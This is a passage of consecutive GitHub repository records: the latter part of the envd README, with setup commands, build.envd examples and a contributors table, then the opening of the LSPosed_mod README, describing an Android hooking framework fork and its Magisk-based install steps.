(Optional[int]): port used by the host, if not specified or equals to 0, envd will randomly choose a free port host_dir (Optional[str]): log storage mount path in the host """ install.python_packages(["tensorboard"]) runtime.mount(host_path=host_dir, envd_path=envd_dir) runtime.daemon( commands=[ [ "tensorboard", "--logdir", envd_dir, "--port", str(envd_port), "--host", "0.0.0.0", ], ] ) runtime.expose(envd_port=envd_port, host_port=host_port, service="tensorboard") ``` </details> ## Getting Started 🚀 ### Requirements - Docker (20.10.0 or above) ### Install and bootstrap `envd` `envd` can be installed with `pip`, or you can download the binary [release](https://github.com/tensorchord/envd/releases) directly. After the installation, please run `envd bootstrap` to bootstrap. ```bash pip install --upgrade envd ``` After the installation, please run `envd bootstrap` to bootstrap: ```bash envd bootstrap ``` Read the [documentation](https://envd.tensorchord.ai/guide/getting-started.html#install-and-bootstrap-envd) for more alternative installation methods. > You can add `--dockerhub-mirror` or `-m` flag when running `envd bootstrap`, to configure the mirror for docker.io registry: > >```bash title="Set docker mirror" >envd bootstrap --dockerhub-mirror https://docker.mirrors.sjtug.sjtu.edu.cn >``` ### Create an `envd` environment Please clone the [`envd-quick-start`](https://github.com/tensorchord/envd-quick-start): ```bash git clone https://github.com/tensorchord/envd-quick-start.git ``` The build manifest `build.envd` looks like: ```python title=build.envd def build(): base(os="ubuntu20.04", language="python3") # Configure the pip index if needed. # config.pip_index(url = "https://pypi.tuna.tsinghua.edu.cn/simple") install.python_packages(name = [ "numpy", ]) shell("zsh") ``` *Note that we use Python here as an example but please check out examples for other languages such as R and Julia [here](https://github.com/tensorchord/envd/tree/main/examples).* Then please run the command below to set up a new environment: ```bash cd envd-quick-start && envd up ``` ```bash $ cd envd-quick-start && envd up [+] ⌚ parse build.envd and download/cache dependencies 2.8s ✅ (finished) => download oh-my-zsh 2.8s [+] 🐋 build envd environment 18.3s (25/25) ✅ (finished) => create apt source dir 0.0s => local://cache-dir 0.1s => => transferring cache-dir: 5.12MB 0.1s ... => pip install numpy 13.0s => copy /oh-my-zsh /home/envd/.oh-my-zsh 0.1s => mkfile /home/envd/install.sh 0.0s => install oh-my-zsh 0.1s => mkfile /home/envd/.zshrc 0.0s => install shell 0.0s => install PyPI packages 0.0s => merging all components into one 0.3s => => merging 0.3s => mkfile /home/envd/.gitconfig 0.0s => exporting to oci image format 2.4s => => exporting layers 2.0s => => exporting manifest sha256:7dbe9494d2a7a39af16d514b997a5a8f08b637f 0.0s => => exporting config sha256:1da06b907d53cf8a7312c138c3221e590dedc2717 0.0s => => sending tarball 0.4s envd-quick-start via Py v3.9.13 via 🅒 envd ⬢ [envd]❯ # You are in the container-based environment! ``` ### Set up Jupyter notebook Please edit the `build.envd` to enable jupyter notebook: ```python title=build.envd def build(): base(os="ubuntu20.04", language="python3") # Configure the pip index if needed. # config.pip_index(url = "https://pypi.tuna.tsinghua.edu.cn/simple") install.python_packages(name = [ "numpy", ]) shell("zsh") config.jupyter() ``` You can get the endpoint of the running Jupyter notebook via `envd envs ls`. ```bash $ envd up --detach $ envd envs ls NAME JUPYTER SSH TARGET CONTEXT IMAGE GPU CUDA CUDNN STATUS CONTAINER ID envd-quick-start http://localhost:42779 envd-quick-start.envd /home/gaocegege/code/envd-quick-start envd-quick-start:dev false <none> <none> Up 54 seconds bd3f6a729e94 ``` ## Difference between v0 and v1 > **Note** > To use the `v1` config file, add `# syntax=v1` to the first line of your `build.envd` file. | Features | v0 | v1 | | --- | --- | --- | | is default for `envd<v1.0` | ✅ | ❌ | | support dev | ✅ | ✅ | | support CUDA | ✅ | ✅ | | support serving | ⚠️ | ✅ | | support custom base image | ⚠️ | ✅ | | support installing multiple languages | ⚠️ | ✅ | | support `moby` builder | ❌ | ✅ ^{[(a)](#v1-moby)} | > **Note** > <a name="v1-moby">(a)</a> To use the `moby` builder, you will need to create a new context with `envd context create --name moby-test --builder moby-worker --use`. > For more information about the `moby` builder, check the [issue-1693](https://github.com/tensorchord/envd/issues/1693). > **Important** > For more details, check the [upgrade to v1](https://envd.tensorchord.ai/guide/v1.html) doc. ## More on documentation 📝 See [envd documentation](https://envd.tensorchord.ai/guide/getting-started.html). ## Roadmap 🗂️ Please checkout [ROADMAP](https://envd.tensorchord.ai/community/roadmap.html). ## Contribute 😊 We welcome all kinds of contributions from the open-source community, individuals, and partners. - Join our [discord community](https://discord.gg/KqswhpVgdU)! - To build from the source, please read our [contributing documentation](https://envd.tensorchord.ai/community/contributing.html) and [development tutorial](https://envd.tensorchord.ai/developers/development.html). [](https://gitpod.io/#https://github.com/tensorchord/envd) ## Contributors ✨ Thanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)): <!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section --> <!-- prettier-ignore-start --> <!-- markdownlint-disable --> <table> <tbody> <tr> <td align="center" valign="top" width="14.28%"><a href="http://blog.duanfei.org"><img src="https://avatars.githubusercontent.com/u/16186646?v=4?s=70" width="70px;" alt=" Friends A."/><br />_{<b> Friends A.</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=shaonianche" title="Documentation">📖</a> <a href="#design-shaonianche" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aaronzs"><img src="https://avatars.githubusercontent.com/u/1827365?v=4?s=70" width="70px;" alt="Aaron Sun"/><br />_{<b>Aaron Sun</b>}</a><br /><a href="#userTesting-aaronzs" title="User Testing">📓</a> <a href="https://github.com/tensorchord/envd/commits?author=aaronzs" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/popfido"><img src="https://avatars.githubusercontent.com/u/3928409?v=4?s=70" width="70px;" alt="Aka.Fido"/><br />_{<b>Aka.Fido</b>}</a><br /><a href="#platform-popfido" title="Packaging/porting to new platform">📦</a> <a href="https://github.com/tensorchord/envd/commits?author=popfido" title="Documentation">📖</a> <a href="https://github.com/tensorchord/envd/commits?author=popfido" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://alexhxi.com"><img src="https://avatars.githubusercontent.com/u/68758451?v=4?s=70" width="70px;" alt="Alex Xi"/><br />_{<b>Alex Xi</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=AlexXi19" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/LuBingtan"><img src="https://avatars.githubusercontent.com/u/30698342?v=4?s=70" width="70px;" alt="Bingtan Lu"/><br />_{<b>Bingtan Lu</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=LuBingtan" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sunby"><img src="https://avatars.githubusercontent.com/u/9817127?v=4?s=70" width="70px;" alt="Bingyi Sun"/><br />_{<b>Bingyi Sun</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=sunby" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://gaocegege.com/Blog"><img src="https://avatars.githubusercontent.com/u/5100735?v=4?s=70" width="70px;" alt="Ce Gao"/><br />_{<b>Ce Gao</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=gaocegege" title="Code">💻</a> <a href="https://github.com/tensorchord/envd/commits?author=gaocegege" title="Documentation">📖</a> <a href="#design-gaocegege" title="Design">🎨</a> <a href="#projectManagement-gaocegege" title="Project Management">📆</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://frostming.com"><img src="https://avatars.githubusercontent.com/u/16336606?v=4?s=70" width="70px;" alt="Frost Ming"/><br />_{<b>Frost Ming</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=frostming" title="Code">💻</a> <a href="https://github.com/tensorchord/envd/commits?author=frostming" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://GuangyangLi.com"><img src="https://avatars.githubusercontent.com/u/2060045?v=4?s=70" width="70px;" alt="Guangyang Li"/><br />_{<b>Guangyang Li</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=gyli" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Gui-Yue"><img src="https://avatars.githubusercontent.com/u/78520005?v=4?s=70" width="70px;" alt="Gui-Yue"/><br />_{<b>Gui-Yue</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Gui-Yue" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/haiker2011"><img src="https://avatars.githubusercontent.com/u/8073429?v=4?s=70" width="70px;" alt="Haiker Sun"/><br />_{<b>Haiker Sun</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=haiker2011" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bandism.net/"><img src="https://avatars.githubusercontent.com/u/22633385?v=4?s=70" width="70px;" alt="Ikko Ashimine"/><br />_{<b>Ikko Ashimine</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=eltociear" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nasnoisaac"><img src="https://avatars.githubusercontent.com/u/11145462?v=4?s=70" width="70px;" alt="Isaac "/><br />_{<b>Isaac </b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=nasnoisaac" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://belyenochi.github.io/"><img src="https://avatars.githubusercontent.com/u/26409132?v=4?s=70" width="70px;" alt="JasonZhu"/><br />_{<b>JasonZhu</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Belyenochi" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/knight42"><img src="https://avatars.githubusercontent.com/u/4237254?v=4?s=70" width="70px;" alt="Jian Zeng"/><br />_{<b>Jian Zeng</b>}</a><br /><a href="#design-knight42" title="Design">🎨</a> <a href="#ideas-knight42" title="Ideas, Planning, & Feedback">🤔</a> <a href="#research-knight42" title="Research">🔬</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/VoVAllen"><img src="https://avatars.githubusercontent.com/u/8686776?v=4?s=70" width="70px;" alt="Jinjing Zhou"/><br />_{<b>Jinjing Zhou</b>}</a><br /><a href="https://github.com/tensorchord/envd/issues?q=author%3AVoVAllen" title="Bug reports">🐛</a> <a href="https://github.com/tensorchord/envd/commits?author=VoVAllen" title="Code">💻</a> <a href="#design-VoVAllen" title="Design">🎨</a> <a href="https://github.com/tensorchord/envd/commits?author=VoVAllen" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://jun.dev/blog/issues"><img src="https://avatars.githubusercontent.com/u/8097526?v=4?s=70" width="70px;" alt="Jun"/><br />_<b>Jun</b></a><br /><a href="#platform-junnplus" title="Packaging/porting to new platform">📦</a> <a href="https://github.com/tensorchord/envd/commits?author=junnplus" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Kaiyang-Chen"><img src="https://avatars.githubusercontent.com/u/48289729?v=4?s=70" width="70px;" alt="Kaiyang Chen"/><br />_{<b>Kaiyang Chen</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Kaiyang-Chen" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://kemingy.github.io/"><img src="https://avatars.githubusercontent.com/u/12974685?v=4?s=70" width="70px;" alt="Keming"/><br />_{<b>Keming</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=kemingy" title="Code">💻</a> <a href="https://github.com/tensorchord/envd/commits?author=kemingy" title="Documentation">📖</a> <a href="#ideas-kemingy" title="Ideas, Planning, & Feedback">🤔</a> <a href="#infra-kemingy" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/pingsutw"><img src="https://avatars.githubusercontent.com/u/37936015?v=4?s=70" width="70px;" alt="Kevin Su"/><br />_{<b>Kevin Su</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=pingsutw" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/3AceShowHand"><img src="https://avatars.githubusercontent.com/u/7138436?v=4?s=70" width="70px;" alt="Ling Jin"/><br />_{<b>Ling Jin</b>}</a><br /><a href="https://github.com/tensorchord/envd/issues?q=author%3A3AceShowHand" title="Bug reports">🐛</a> <a href="#infra-3AceShowHand" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://manjusaka.itscoder.com"><img src="https://avatars.githubusercontent.com/u/7054676?v=4?s=70" width="70px;" alt="Manjusaka"/><br />_{<b>Manjusaka</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Zheaoli" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lilylee1874"><img src="https://avatars.githubusercontent.com/u/52693877?v=4?s=70" width="70px;" alt="Nino"/><br />_<b>Nino</b></a><br /><a href="#design-lilylee1874" title="Design">🎨</a> <a href="https://github.com/tensorchord/envd/commits?author=lilylee1874" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://phillipw.info"><img src="https://avatars.githubusercontent.com/u/34707116?v=4?s=70" width="70px;" alt="Pengyu Wang"/><br />_{<b>Pengyu Wang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=cswpy" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Sepush"><img src="https://avatars.githubusercontent.com/u/39197136?v=4?s=70" width="70px;" alt="Sepush"/><br />_{<b>Sepush</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=sepush" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://blog.electronicwaste.cn"><img src="https://avatars.githubusercontent.com/u/77665902?v=4?s=70" width="70px;" alt="Shao Wang"/><br />_{<b>Shao Wang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Electronic-Waste" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://blog.thrimbda.com/"><img src="https://avatars.githubusercontent.com/u/15231162?v=4?s=70" width="70px;" alt="Siyuan Wang"/><br />_{<b>Siyuan Wang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Thrimbda" title="Code">💻</a> <a href="#infra-Thrimbda" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="#maintenance-Thrimbda" title="Maintenance">🚧</a></td> <td align="center" valign="top" width="14.28%"><a href="http://suyan.moe"><img src="https://avatars.githubusercontent.com/u/24221472?v=4?s=70" width="70px;" alt="Suyan"/><br />_<b>Suyan</b></a><br /><a href="https://github.com/tensorchord/envd/commits?author=suyanhanx" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://myfra.vercel.app"><img src="https://avatars.githubusercontent.com/u/60420319?v=4?s=70" width="70px;" alt="To My"/><br />_{<b>To My</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=MyFRA" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.iam.rw"><img src="https://avatars.githubusercontent.com/u/29533246?v=4?s=70" width="70px;" alt="Tumushimire Yves"/><br />_{<b>Tumushimire Yves</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=yvestumushimire" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://page.codespaper.com"><img src="https://avatars.githubusercontent.com/u/3764335?v=4?s=70" width="70px;" alt="Wei Zhang"/><br />_{<b>Wei Zhang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=zwpaper" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://weixiao-huang.github.io"><img src="https://avatars.githubusercontent.com/u/8834733?v=4?s=70" width="70px;" alt="Weixiao Huang"/><br />_{<b>Weixiao Huang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=weixiao-huang" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.hawkingrei.com/"><img src="https://avatars.githubusercontent.com/u/3427324?v=4?s=70" width="70px;" alt="Weizhen Wang"/><br />_{<b>Weizhen Wang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=hawkingrei" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://blog.xuruowei.com"><img src="https://avatars.githubusercontent.com/u/18398013?v=4?s=70" width="70px;" alt="XRW"/><br />_<b>XRW</b></a><br /><a href="https://github.com/tensorchord/envd/commits?author=Xuruowei" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jiayouxujin"><img src="https://avatars.githubusercontent.com/u/29749249?v=4?s=70" width="70px;" alt="Xu Jin"/><br />_{<b>Xu Jin</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=jiayouxujin" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://xuanwo.io/"><img src="https://avatars.githubusercontent.com/u/5351546?v=4?s=70" width="70px;" alt="Xuanwo"/><br />_{<b>Xuanwo</b>}</a><br /><a href="#question-Xuanwo" title="Answering Questions">💬</a> <a href="#design-Xuanwo" title="Design">🎨</a> <a href="#ideas-Xuanwo" title="Ideas, Planning, & Feedback">🤔</a> <a href="https://github.com/tensorchord/envd/pulls?q=is%3Apr+reviewed-by%3AXuanwo" title="Reviewed Pull Requests">👀</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/enjoyliu"><img src="https://avatars.githubusercontent.com/u/13460894?v=4?s=70" width="70px;" alt="Yijiang Liu"/><br />_{<b>Yijiang Liu</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=enjoyliu" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://elon.fun/"><img src="https://avatars.githubusercontent.com/u/8433465?v=4?s=70" width="70px;" alt="Yilong Li"/><br />_{<b>Yilong Li</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=dragonly" title="Documentation">📖</a> <a href="https://github.com/tensorchord/envd/issues?q=author%3Adragonly" title="Bug reports">🐛</a> <a href="https://github.com/tensorchord/envd/commits?author=dragonly" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://terrytangyuan.github.io/about/"><img src="https://avatars.githubusercontent.com/u/4269898?v=4?s=70" width="70px;" alt="Yuan Tang"/><br />_{<b>Yuan Tang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=terrytangyuan" title="Code">💻</a> <a href="#design-terrytangyuan" title="Design">🎨</a> <a href="https://github.com/tensorchord/envd/commits?author=terrytangyuan" title="Documentation">📖</a> <a href="#ideas-terrytangyuan" title="Ideas, Planning, & Feedback">🤔</a></td> <td align="center" valign="top" width="14.28%"><a href="https://rudeigerc.dev/"><img src="https://avatars.githubusercontent.com/u/18243819?v=4?s=70" width="70px;" alt="Yuchen Cheng"/><br />_{<b>Yuchen Cheng</b>}</a><br /><a href="https://github.com/tensorchord/envd/issues?q=author%3Arudeigerc" title="Bug reports">🐛</a> <a href="#infra-rudeigerc" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="#maintenance-rudeigerc" title="Maintenance">🚧</a> <a href="#tool-rudeigerc" title="Tools">🔧</a></td> <td align="center" valign="top" width="14.28%"><a href="http://lunarwhite.github.io"><img src="https://avatars.githubusercontent.com/u/57584831?v=4?s=70" width="70px;" alt="Yuedong Wu"/><br />_{<b>Yuedong Wu</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=lunarwhite" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/yczheng0"><img src="https://avatars.githubusercontent.com/u/21327543?v=4?s=70" width="70px;" alt="Yunchuan Zheng"/><br />_{<b>Yunchuan Zheng</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=yczheng0" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://lizheming.top"><img src="https://avatars.githubusercontent.com/u/9639449?v=4?s=70" width="70px;" alt="Zheming Li"/><br />_{<b>Zheming Li</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=lizhemingi" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Xiaoaier-Z-L"><img src="https://avatars.githubusercontent.com/u/96805673?v=4?s=70" width="70px;" alt="Zhenguo.Li"/><br />_{<b>Zhenguo.Li</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=Xiaoaier-Z-L" title="Code">💻</a> <a href="https://github.com/tensorchord/envd/commits?author=Xiaoaier-Z-L" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://blog.triplez.cn/"><img src="https://avatars.githubusercontent.com/u/16285716?v=4?s=70" width="70px;" alt="Zhenzhen Zhao"/><br />_{<b>Zhenzhen Zhao</b>}</a><br /><a href="#infra-Triple-Z" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="#userTesting-Triple-Z" title="User Testing">📓</a> <a href="https://github.com/tensorchord/envd/commits?author=Triple-Z" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://t.me/littlepoint"><img src="https://avatars.githubusercontent.com/u/7611700?v=4?s=70" width="70px;" alt="Zhizhen He"/><br />_{<b>Zhizhen He</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=hezhizhen" title="Code">💻</a> <a href="https://github.com/tensorchord/envd/commits?author=hezhizhen" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/cutecutecat"><img src="https://avatars.githubusercontent.com/u/19801166?v=4?s=70" width="70px;" alt="cutecutecat"/><br />_{<b>cutecutecat</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=cutecutecat" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/dqhl76"><img src="https://avatars.githubusercontent.com/u/69136320?v=4?s=70" width="70px;" alt="dqhl76"/><br />_{<b>dqhl76</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=dqhl76" title="Documentation">📖</a> <a href="https://github.com/tensorchord/envd/commits?author=dqhl76" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://lxb1226.github.io/"><img src="https://avatars.githubusercontent.com/u/33415192?v=4?s=70" width="70px;" alt="heyjude"/><br />_{<b>heyjude</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=lxb1226" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jimoosciuc"><img src="https://avatars.githubusercontent.com/u/33337387?v=4?s=70" width="70px;" alt="jimoosciuc"/><br />_{<b>jimoosciuc</b>}</a><br /><a href="#userTesting-jimoosciuc" title="User Testing">📓</a></td> <td align="center" valign="top" width="14.28%"><a href="https://kenwoodjw.github.io"><img src="https://avatars.githubusercontent.com/u/10386710?v=4?s=70" width="70px;" alt="kenwoodjw"/><br />_{<b>kenwoodjw</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=kenwoodjw" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.hwdef.org"><img src="https://avatars.githubusercontent.com/u/13084946?v=4?s=70" width="70px;" alt="li mengyang"/><br />_{<b>li mengyang</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=hwdef" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/aseaday"><img src="https://avatars.githubusercontent.com/u/3927355?v=4?s=70" width="70px;" alt="nullday"/><br />_{<b>nullday</b>}</a><br /><a href="#ideas-aseaday" title="Ideas, Planning, & Feedback">🤔</a> <a href="https://github.com/tensorchord/envd/commits?author=aseaday" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rrain7"><img src="https://avatars.githubusercontent.com/u/49144127?v=4?s=70" width="70px;" alt="rrain7"/><br />_{<b>rrain7</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=rrain7" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://tisonkun.org/"><img src="https://avatars.githubusercontent.com/u/18818196?v=4?s=70" width="70px;" alt="tison"/><br />_<b>tison</b></a><br /><a href="https://github.com/tensorchord/envd/commits?author=tisonkun" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://fatelei.github.io"><img src="https://avatars.githubusercontent.com/u/961094?v=4?s=70" width="70px;" alt="wangxiaolei"/><br />_{<b>wangxiaolei</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=fatelei" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sea-wyq"><img src="https://avatars.githubusercontent.com/u/22475606?v=4?s=70" width="70px;" alt="wyq"/><br />_<b>wyq</b></a><br /><a href="https://github.com/tensorchord/envd/issues?q=author%3Asea-wyq" title="Bug reports">🐛</a> <a href="#design-sea-wyq" title="Design">🎨</a> <a href="https://github.com/tensorchord/envd/commits?author=sea-wyq" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://oubotong.github.io/johan"><img src="https://avatars.githubusercontent.com/u/26356127?v=4?s=70" width="70px;" alt="x0oo0x"/><br />_{<b>x0oo0x</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=oubotong" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/xiangtianyu"><img src="https://avatars.githubusercontent.com/u/10825900?v=4?s=70" width="70px;" alt="xiangtianyu"/><br />_{<b>xiangtianyu</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=xiangtianyu" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/xieydd"><img src="https://avatars.githubusercontent.com/u/20329697?v=4?s=70" width="70px;" alt="xieydd"/><br />_{<b>xieydd</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=xieydd" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/xing0821"><img src="https://avatars.githubusercontent.com/u/54933318?v=4?s=70" width="70px;" alt="xing0821"/><br />_{<b>xing0821</b>}</a><br /><a href="#ideas-xing0821" title="Ideas, Planning, & Feedback">🤔</a> <a href="#userTesting-xing0821" title="User Testing">📓</a> <a href="https://github.com/tensorchord/envd/commits?author=xing0821" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://xxchan.github.io"><img src="https://avatars.githubusercontent.com/u/37948597?v=4?s=70" width="70px;" alt="xxchan"/><br />_{<b>xxchan</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=xxchan" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://blogs.zhangwei.asia"><img src="https://avatars.githubusercontent.com/u/26432832?v=4?s=70" width="70px;" alt="zhang-wei"/><br />_{<b>zhang-wei</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=arugal" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/zhyon404"><img src="https://avatars.githubusercontent.com/u/32242529?v=4?s=70" width="70px;" alt="zhyon404"/><br />_{<b>zhyon404</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=zhyon404" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.homeboyc.cn/"><img src="https://avatars.githubusercontent.com/u/22193008?v=4?s=70" width="70px;" alt="杨成锴"/><br />_{<b>杨成锴</b>}</a><br /><a href="https://github.com/tensorchord/envd/commits?author=asjdf" title="Code">💻</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> This project follows the [all-contributors](https://github.com/all-contributors/all-contributors) specification. Contributions of any kind welcome! ## License 📋 [Apache 2.0](./LICENSE) <a href="https://trackgit.com"><img src="https://us-central1-trackgit-analytics.cloudfunctions.net/token/ping/l3ldvdaswvnjpty9u7l3" alt="trackgit-views" /></a>

🏕️ Reproducible development environment

developer-tools,development-environment,docker,buildkit,hacktoberfest,llmops,mlops,mlops-workflow,model-serving

mywalkb/LSPosed_mod

# LSPosed Framework [](https://github.com/mywalkb/LSPosed_mod/actions/workflows/core.yml?query=event%3Apush+branch%3Amain+is%3Acompleted) [](https://crowdin.com/project/lsposedmod) [](https://github.com/mywalkb/LSPosed_mod/releases/latest) [](https://github.com/mywalkb/LSPosed_mod/releases) [](https://github.com/mywalkb/LSPosed_mod/releases/latest) ## Introduction LSPosed is a great XPosed Framework, but it has a big problem, only manager can manage scope. LSPosed team don't accept PR for CLI or API Module, the TODO issues are old more one year and never completed, is more important the GUI changed many times but not CLI or API Module. In my fork API Module and CLI are implemented. CLI require root user because must access files readable only by root. A Riru / Zygisk module trying to provide an ART hooking framework which delivers consistent APIs with the OG Xposed, leveraging LSPlant hooking framework. > Xposed is a framework for modules that can change the behavior of the system and apps without touching any APKs. That's great because it means that modules can work for different versions and even ROMs without any changes (as long as the original code was not changed too much). It's also easy to undo. As all changes are done in the memory, you just need to deactivate the module and reboot to get your original system back. There are many other advantages, but here is just one more: multiple modules can do changes to the same part of the system or app. With modified APKs, you have to choose one. No way to combine them, unless the author builds multiple APKs with different combinations. ## Supported Versions Android 8.1 ~ 15 Beta 2.1 ## Install 1. Install Magisk v24+ (For Zygisk flavor) or Magisk 23 (For Riru flavor) 2. (For Riru flavor) Install [Riru](https://github.com/RikkaApps/Riru/releases/latest) v26.1.7+ 3. [Download](#download) and install LSPosed in Magisk app 4. Reboot 5. Open LSPosed manager from notification 6. Have fun :) ## Download - For stable releases, please go to [Github Releases page](https://github.com/mywalkb/LSPosed_mod/releases) - For canary build, please check [Github Actions](https://github.com/mywalkb/LSPosed_mod/actions/workflows/core.yml?query=branch%3Amain) Note: debug builds are only available in Github Actions. ## Migration You can install LSPosed_mod on top of official LSPosed installation. If the app is installed and not parasitic, the app must be reinstalled from apk distribuited with LSPosed_mod. ## Get Help **Only bug reports from **THE LATEST DEBUG BUILD** will 